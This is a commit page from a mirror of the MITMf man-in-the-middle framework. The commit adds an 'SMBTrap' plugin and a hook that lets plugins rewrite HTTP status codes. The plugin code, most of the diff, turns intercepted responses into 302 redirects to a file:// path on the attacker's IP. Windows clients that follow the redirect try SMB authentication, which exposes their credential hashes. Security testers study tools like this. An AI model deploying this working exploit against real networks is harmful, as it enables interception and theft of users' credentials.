mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-21 05:53:30 -07:00
handleStatus() is now hooked through serverResponseStatus, were now able to modify the server response code and message
added the SMBTrap plugin
This commit is contained in:
parent
bdcee18be0
commit
840e202e5b
6 changed files with 36 additions and 2 deletions
23
plugins/SMBTrap.py
Normal file
23
plugins/SMBTrap.py
Normal file
|
@ -0,0 +1,23 @@
|
|||
import logging
|
||||
import random
|
||||
import string
|
||||
from plugins.plugin import Plugin
|
||||
from core.utils import SystemConfig
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class SMBTrap(Plugin):
|
||||
name = "SMBTrap"
|
||||
optname = "smbtrap"
|
||||
desc = "Exploits the SMBTrap vulnerability on connected clients"
|
||||
version = "1.0"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.ourip = SystemConfig.getIP(options.interface)
|
||||
|
||||
def serverResponseStatus(self, request, version, code, message):
|
||||
return (version, 302, "Found")
|
||||
|
||||
def serverHeaders(self, response, request):
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
|
@ -10,7 +10,7 @@ class TestPlugin(Plugin):
|
|||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)])
|
||||
HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler)
|
||||
|
||||
class MainHandler(tornado.web.RequestHandler):
|
||||
def get(self):
|
||||
|
|
|
@ -12,6 +12,7 @@ class Plugin(ConfigWatcher, object):
|
|||
optname = "generic"
|
||||
tree_info = list()
|
||||
desc = ""
|
||||
version = "0.0"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
|
@ -41,6 +42,12 @@ class Plugin(ConfigWatcher, object):
|
|||
'''
|
||||
pass
|
||||
|
||||
def serverResponseStatus(self, request, version, code, message):
|
||||
'''
|
||||
Handles server response HTTP version, code and message
|
||||
'''
|
||||
return (version, code, message)
|
||||
|
||||
def serverResponse(self, response, request, data):
|
||||
'''
|
||||
Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images)
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue